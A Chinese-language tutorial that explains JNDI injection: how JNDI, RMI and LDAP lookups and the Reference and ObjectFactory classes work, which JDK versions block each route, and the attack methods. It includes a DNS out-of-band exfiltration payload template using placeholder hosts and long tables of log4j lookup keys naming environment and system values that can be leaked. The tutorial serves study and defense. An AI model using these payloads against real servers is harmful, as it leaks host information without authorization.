JNDI
Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:
- RMI: Java Remote Method Invocation,Java 远程方法调用;
- LDAP: 轻量级目录访问协议;
- CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services);
Java Naming
命名服务是一种键值对的绑定,使应用程序可以通过键检索值。
Java Directory
目录服务是命名服务的自然扩展。这两者之间的区别在于目录服务中对象可以有属性,而命名服务中对象没有属性。因此,在目录服务中可以根据属性搜索对象。
JNDI允许你访问文件系统中的文件,定位远程RMI注册的对象,访问如LDAP这样的目录服务,定位网络上的EJB组件。
ObjectFactory
Object Factory用于将Naming Service(如RMI/LDAP)中存储的数据转换为Java中可表达的数据,如Java中的对象或Java中的基本数据类型。每一个Service Provider可能配有多个Object Factory。
JNDI注入的问题就是处在可远程下载自定义的ObjectFactory类上。
LDAP
LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的。
RMI
RMI,即 Remote Method Invocation,Java 的远程方法调用。RMI 为应用提供了远程调用的接口,可以理解为 Java 自带的 RPC 框架。
JNDI注入
原理
JNDI协议动态转换
JNDI用INITIAL_CONTEXT_FACTORY指定初始化的工厂类,PROVIDER_URL指定资源地址。但在调用lookup()或者search()时,可以使用带URI动态的转换上下文环境,直接使用其他的URI格式去转换上下文环境访问别的服务上的绑定对象而非原本的服务。
Reference类
Reference类表示对存在于命名/目录系统以外的对象的引用。Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。在使用Reference时,我们可以直接将对象写在构造方法中,当被调用时,对象的方法就会被触发。
JDK版本
要想成功利用JNDI注入漏洞,重要的前提就是当前Java环境的JDK版本,而JNDI注入中不同的攻击向量和利用方式所被限制的版本号都有点不一样。
- JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
- JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
- JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
攻击方式
JNDI+RMI|LDAP获取远程类
利用搭建的恶意RMI或LDAP服务器让受害者服务器获取远程恶意类实例化
利用本地Class作为Reference Factory
在返回的Reference中指定Factory Class,这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。
利用LDAP返回序列化数据,触发本地Gadget
利用LDAP向受害者发送序列化的恶意对象,利用本地CLASSPATH中存在漏洞的反序列化Gadget达到绕过限制执行命令的目的。
dns外带信息泄露
通过jndi使用dns协议可以将一些信息传出,例如{jndi:idap://xxx.xxx.xxx/{payload}}或{jndi:dns://{payload}.xxx.xxx/}
可利用属性
log4j-java
ID | usage | method |
---|---|---|
1 | java:version | getSystemProperty("java.version") |
2 | java:runtime | getRuntime() |
3 | java:vm | getVirtualMachine() |
4 | java:os | getOperatingSystem() |
5 | java:hw | getHardware() |
6 | java:locale | getLocale() |
linux
id | usage |
---|---|
1 | env:CLASSPATH |
2 | env:HOME |
3 | env:JAVA_HOME |
4 | env:LANG |
5 | env:LC_TERMINAL |
6 | env:LC_TERMINAL_VERSION |
7 | env:LESS |
8 | env:LOGNAME |
9 | env:LSCOLORS |
10 | env:LS_COLORS |
11 | env:MAIL |
12 | env:NLSPATH |
13 | env:OLDPWD |
14 | env:PAGER |
15 | env:PATH |
16 | env:PWD |
17 | env:SHELL |
18 | env:SHLVL |
19 | env:SSH_CLIENT |
20 | env:SSH_CONNECTION |
21 | env:SSH_TTY |
22 | env:TERM |
23 | env:USER |
24 | env:XDG_RUNTIME_DIR |
25 | env:XDG_SESSION_ID |
26 | env:XFILESEARCHPATH |
27 | env:ZSH |
windows
id | usage |
---|---|
1 | env:A8_HOME |
2 | env:A8_ROOT_BIN |
3 | env:ALLUSERSPROFILE |
4 | env:APPDATA |
5 | env:CATALINA_BASE |
6 | env:CATALINA_HOME |
7 | env:CATALINA_OPTS |
8 | env:CATALINA_TMPDIR |
9 | env:CLASSPATH |
10 | env:CLIENTNAME |
11 | env:COMPUTERNAME |
12 | env:ComSpec |
13 | env:CommonProgramFiles |
14 | env:CommonProgramFiles(x86) |
15 | env:CommonProgramW6432 |
16 | env:FP_NO_HOST_CHECK |
17 | env:HOMEDRIVE |
18 | env:HOMEPATH |
19 | env:JRE_HOME |
20 | env:Java_Home |
21 | env:LOCALAPPDATA |
22 | env:LOGONSERVER |
23 | env:NUMBER_OF_PROCESSORS |
24 | env:OS |
25 | env:PATHEXT |
26 | env:PROCESSOR_ARCHITECTURE |
27 | env:PROCESSOR_IDENTIFIER |
28 | env:PROCESSOR_LEVEL |
29 | env:PROCESSOR_REVISION |
30 | env:PROMPT |
31 | env:PSModulePath |
32 | env:PUBLIC |
33 | env:Path |
34 | env:ProgramData |
35 | env:ProgramFiles |
36 | env:ProgramFiles(x86) |
37 | env:ProgramW6432 |
38 | env:SESSIONNAME |
39 | env:SystemDrive |
40 | env:SystemRoot |
41 | env:TEMP |
42 | env:TMP |
43 | env:ThisExitCode |
44 | env:USERDOMAIN |
45 | env:USERNAME |
46 | env:USERPROFILE |
47 | env:WORK_PATH |
48 | env:windir |
49 | env:windows_tracing_flags |
50 | env:windows_tracing_logfile |
log4j2-sys
id | usage |
---|---|
1 | sys:awt.toolkit |
2 | sys:file.encoding |
3 | sys:file.encoding.pkg |
4 | sys:file.separator |
5 | sys:java.awt.graphicsenv |
6 | sys:java.awt.printerjob |
7 | sys:java.class.path |
8 | sys:java.class.version |
9 | sys:java.endorsed.dirs |
10 | sys:java.ext.dirs |
11 | sys:java.home |
12 | sys:java.io.tmpdir |
13 | sys:java.library.path |
14 | sys:java.runtime.name |
15 | sys:java.runtime.version |
16 | sys:java.specification.name |
17 | sys:java.specification.vendor |
18 | sys:java.specification.version |
19 | sys:java.vendor |
20 | sys:java.vendor.url |
21 | sys:java.vendor.url.bug |
22 | sys:java.version |
23 | sys:java.vm.info |
24 | sys:java.vm.name |
25 | sys:java.vm.specification.name |
26 | sys:java.vm.specification.vendor |
27 | sys:java.vm.specification.version |
28 | sys:java.vm.vendor |
29 | sys:java.vm.version |
30 | sys:line.separator |
31 | sys:os.arch |
32 | sys:os.name |
33 | sys:os.version |
34 | sys:path.separator |
35 | sys:sun.arch.data.model |
36 | sys:sun.boot.class.path |
37 | sys:sun.boot.library.path |
38 | sys:sun.cpu.endian |
39 | sys:sun.cpu.isalist |
40 | sys:sun.desktop |
41 | sys:sun.io.unicode.encoding |
42 | sys:sun.java.command |
43 | sys:sun.java.launcher |
44 | sys:sun.jnu.encoding |
45 | sys:sun.management.compiler |
46 | sys:sun.os.patch.level |
47 | sys:sun.stderr.encoding |
48 | sys:user.country |
49 | sys:user.dir |
50 | sys:user.home |
51 | sys:user.language |
52 | sys:user.name |
53 | sys:user.script |
54 | sys:user.timezone |
55 | sys:user.variant |